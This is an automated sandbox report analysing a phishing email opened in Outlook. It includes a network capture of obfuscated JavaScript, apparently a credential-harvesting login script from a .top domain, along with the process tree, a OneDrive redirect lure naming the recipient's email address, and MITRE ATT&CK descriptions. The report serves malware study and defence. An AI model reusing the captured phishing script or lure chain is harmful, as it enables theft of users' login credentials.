2024-10-25 08:20:24 UTC	503	OUT	GET /js_/671b54c597dcc-df9266ed069883385b9ae264cbaeed5e HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
2024-10-25 08:20:24 UTC	958	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:24 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Fri, 25 Oct 2024 07:41:42 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q3%2BBOSH96UG2bhVBjYVo61pL5GkpBp%2B3KTIq%2B%2BQ1Pk2B%2BGkPz4ZpGl12U7KWUl%2BnslGDq30ApNBdJZPOBUM0dzfribhybFi%2FyjlgGtrL%2F%2BE366X40rCvcHQ8HDMaM9D8miBvmJTgUCXGN0ZFSZBcSLp0z1OAnv003EmZ8YgXtBiJco5e%2FMK2I7hfo8O%2F8mmoPMdcwx2SXrghY%2FQ0o2LtvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c9865e7be72a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2275&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2891&recv_bytes=1081&delivery_rate=1330271&cwnd=222&unsent_bytes=0&cid=f75c5bad7646da73&ts=255&x=0"
2024-10-25 08:20:24 UTC	411	IN	Data Raw: 31 61 37 31 0d 0a 63 6f 6e 73 74 20 61 30 5f 30 78 33 61 37 64 63 38 3d 61 30 5f 30 78 34 38 66 65 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 61 38 37 30 30 2c 5f 30 78 35 37 34 66 33 39 29 7b 63 6f 6e 73 74 20 5f 30 78 31 36 61 61 35 37 3d 61 30 5f 30 78 34 38 66 65 2c 5f 30 78 37 37 39 33 33 61 3d 5f 30 78 33 61 38 37 30 30 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 38 34 63 36 64 37 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 61 61 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 39 63 29 29 2f 30 78 32 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 61 38 29 29 2f 30 78 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 Data Ascii: 1a71const a0_0x3a7dc8=a0_0x48fe;(function(_0x3a8700,_0x574f39){const _0x16aa57=a0_0x48fe,_0x77933a=_0x3a8700();while(!![]){try{const _0x84c6d7=-parseInt(_0x16aa57(0xaa))/0x1+parseInt(_0x16aa57(0x9c))/0x2+parseInt(_0x16aa57(0xa8))/0x3*(-parseInt(_0x16aa5
2024-10-25 08:20:24 UTC	1369	IN	Data Raw: 37 28 30 78 61 30 29 29 2f 30 78 39 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 62 66 29 29 2f 30 78 61 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 39 36 29 29 2f 30 78 62 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 39 34 29 29 2f 30 78 63 29 3b 69 66 28 5f 30 78 38 34 63 36 64 37 3d 3d 3d 5f 30 78 35 37 34 66 33 39 29 62 72 65 61 6b 3b 65 6c 73 65 20 5f 30 78 37 37 39 33 33 61 5b 27 70 75 73 68 27 5d 28 5f 30 78 37 37 39 33 33 61 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 5f 30 78 33 33 37 39 31 65 29 7b 5f 30 78 37 37 39 33 33 61 5b 27 70 75 73 68 27 5d 28 5f 30 78 37 37 39 33 33 61 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 61 30 5f 30 78 32 63 39 38 Data Ascii: 7(0xa0))/0x9(-parseInt(_0x16aa57(0xbf))/0xa)+parseInt(_0x16aa57(0x96))/0xb(parseInt(_0x16aa57(0x94))/0xc);if(_0x84c6d7===_0x574f39)break;else _0x77933a['push'](_0x77933a['shift']());}catch(_0x33791e){_0x77933a['push'](_0x77933a['shift']());}}}(a0_0x2c98
2024-10-25 08:20:24 UTC	1369	IN	Data Raw: 2c 27 31 36 45 42 62 4c 65 44 27 2c 27 68 61 73 2d 65 72 72 6f 72 5c 78 32 30 65 78 74 2d 68 61 73 2d 65 72 72 6f 72 27 2c 27 6f 70 61 63 69 74 79 27 2c 27 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 27 2c 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 2c 27 73 74 61 74 75 73 27 2c 27 6a 73 6f 6e 27 2c 27 28 28 28 2e 2b 29 2b 29 2b 29 2b 24 27 2c 27 61 74 74 72 27 2c 27 67 67 65 72 27 2c 27 69 30 31 31 38 27 2c 27 38 38 37 35 37 31 36 57 4a 50 4b 63 7a 27 2c 27 6c 69 67 68 74 62 6f 78 73 27 2c 27 32 32 74 4a 4a 4b 69 78 27 2c 27 6d 65 74 68 6f 64 27 2c 27 70 72 6f 67 72 65 73 73 42 61 72 27 2c 27 69 6e 69 74 27 2c 27 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 27 2c 27 73 65 72 69 61 6c 69 7a 65 41 72 72 61 79 27 2c 27 38 39 34 35 37 30 6d 6f 5a 6e 69 4d 27 2c Data Ascii: ,'16EBbLeD','has-error\x20ext-has-error','opacity','IfExistsResult','getElementById','status','json','(((.+)+)+)+$','attr','gger','i0118','8875716WJPKcz','lightboxs','22tJJKix','method','progressBar','init','usernameError','serializeArray','894570moZniM',
2024-10-25 08:20:24 UTC	1369	IN	Data Raw: 63 31 61 64 64 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 66 63 61 37 31 28 30 78 38 64 29 5d 28 5f 30 78 32 66 63 61 37 31 28 30 78 61 36 29 29 2c 5f 30 78 34 33 39 32 32 38 3d 5f 30 78 31 63 31 61 64 64 5b 5f 30 78 32 66 63 61 37 31 28 30 78 63 34 29 5d 5b 5f 30 78 32 66 63 61 37 31 28 30 78 61 63 29 5d 28 29 2c 5f 30 78 32 32 32 34 62 32 3d 2f 5e 28 5b 61 2d 7a 41 2d 5a 30 2d 39 5f 5c 2e 5c 2d 5d 29 2b 5c 40 28 28 5b 61 2d 7a 41 2d 5a 30 2d 39 5c 2d 5d 29 2b 5c 2e 29 2b 28 5b 61 2d 7a 41 2d 5a 30 2d 39 5d 7b 32 2c 34 7d 29 2b 24 2f 3b 69 66 28 21 5f 30 78 32 32 32 34 62 32 5b 27 74 65 73 74 27 5d 28 5f 30 78 34 33 39 32 32 38 29 29 72 65 74 75 72 6e 20 24 28 5f 30 78 32 66 63 61 37 31 28 30 78 62 32 29 29 5b 27 61 64 64 43 6c 61 73 73 27 5d 28 5f 30 78 Data Ascii: c1add=document[_0x2fca71(0x8d)](_0x2fca71(0xa6)),_0x439228=_0x1c1add[_0x2fca71(0xc4)][_0x2fca71(0xac)](),_0x2224b2=/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;if(!_0x2224b2['test'](_0x439228))return $(_0x2fca71(0xb2))['addClass'](_0x
2024-10-25 08:20:24 UTC	1369	IN	Data Raw: 28 74 68 69 73 29 2c 5f 30 78 35 63 33 36 63 63 3d 5f 30 78 33 31 39 62 33 65 5b 5f 30 78 32 66 63 61 37 31 28 30 78 38 34 29 5d 28 5f 30 78 32 66 63 61 37 31 28 30 78 39 66 29 29 3b 5f 30 78 35 63 33 36 63 63 5b 5f 30 78 32 66 63 61 37 31 28 30 78 39 31 29 5d 28 27 64 69 73 61 62 6c 65 64 27 2c 5f 30 78 32 66 63 61 37 31 28 30 78 62 64 29 29 2c 24 5b 5f 30 78 32 66 63 61 37 31 28 30 78 62 35 29 5d 28 7b 27 74 79 70 65 27 3a 5f 30 78 33 31 39 62 33 65 5b 27 61 74 74 72 27 5d 28 5f 30 78 32 66 63 61 37 31 28 30 78 39 37 29 29 2c 27 75 72 6c 27 3a 5f 30 78 33 31 39 62 33 65 5b 5f 30 78 32 66 63 61 37 31 28 30 78 39 31 29 5d 28 5f 30 78 32 66 63 61 37 31 28 30 78 61 66 29 29 2c 27 64 61 74 61 27 3a 5f 30 78 33 31 39 62 33 65 5b 5f 30 78 32 66 63 61 37 31 28 Data Ascii: (this),_0x5c36cc=_0x319b3e[_0x2fca71(0x84)](_0x2fca71(0x9f));_0x5c36cc[_0x2fca71(0x91)]('disabled',_0x2fca71(0xbd)),$[_0x2fca71(0xb5)]({'type':_0x319b3e['attr'](_0x2fca71(0x97)),'url':_0x319b3e[_0x2fca71(0x91)](_0x2fca71(0xaf)),'data':_0x319b3e[_0x2fca71(
2024-10-25 08:20:24 UTC	890	IN	Data Raw: 30 78 35 34 39 62 64 61 3d 5f 30 78 32 36 33 62 62 30 3b 21 5f 30 78 31 61 32 38 62 39 5b 5f 30 78 35 34 39 62 64 61 28 30 78 38 63 29 5d 26 26 28 5f 30 78 34 35 33 38 38 39 3d 21 5b 5d 29 3b 7d 7d 29 2c 5f 30 78 34 35 33 38 38 39 3b 7d 66 75 6e 63 74 69 6f 6e 20 61 30 5f 30 78 34 38 66 65 28 5f 30 78 35 34 38 39 64 31 2c 5f 30 78 31 36 64 65 63 31 29 7b 63 6f 6e 73 74 20 5f 30 78 35 31 35 38 65 35 3d 61 30 5f 30 78 32 63 39 38 28 29 3b 72 65 74 75 72 6e 20 61 30 5f 30 78 34 38 66 65 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 32 30 35 62 31 2c 5f 30 78 34 63 66 38 35 33 29 7b 5f 30 78 33 32 30 35 62 31 3d 5f 30 78 33 32 30 35 62 31 2d 30 78 37 62 3b 6c 65 74 20 5f 30 78 66 33 37 65 36 64 3d 5f 30 78 35 31 35 38 65 35 5b 5f 30 78 33 32 30 35 62 31 5d 3b 72 Data Ascii: 0x549bda=_0x263bb0;!_0x1a28b9[_0x549bda(0x8c)]&&(_0x453889=![]);}}),_0x453889;}function a0_0x48fe(_0x5489d1,_0x16dec1){const _0x5158e5=a0_0x2c98();return a0_0x48fe=function(_0x3205b1,_0x4cf853){_0x3205b1=_0x3205b1-0x7b;let _0xf37e6d=_0x5158e5[_0x3205b1];r
2024-10-25 08:20:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	04:18:03
Start date:	25/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\ES Ny kontraktsrunda.msg"
Imagebase:	0x840000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:18:14
Start date:	25/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "8EBA3B07-0269-403A-8827-3D10A2298313" "0BCAFF8F-32E9-4DDB-A99B-896005FDE1FB" "7292" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Imagebase:	0x7ff7b92e0000
File size:	710'048 bytes
MD5 hash:	EC652BEDD90E089D9406AFED89A8A8BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:18:35
Start date:	25/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:18:36
Start date:	25/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2000,i,14847539301104719673,13743601160139155532,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ES Ny kontraktsrunda.msg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\EDF995D6-4714-4226-A33B-39743D39632C

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\BE27E0C.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{771B1FA9-18B7-40B1-B859-D17FAA449978}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729844287441592800_F10E9279-BE47-4EA3-9D39-5CDA63BF4721.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729844287442445500_F10E9279-BE47-4EA3-9D39-5CDA63BF4721.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241025T0418070101-7292.etl

C:\Users\user\AppData\Local\Temp\~DF5BE8A7C07B2B69E7.TMP

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Chrome Cache Entry: 220

Chrome Cache Entry: 221

Chrome Cache Entry: 222

Chrome Cache Entry: 223

Chrome Cache Entry: 224

Chrome Cache Entry: 225

Chrome Cache Entry: 226

Windows Analysis Report
ES Ny kontraktsrunda.msg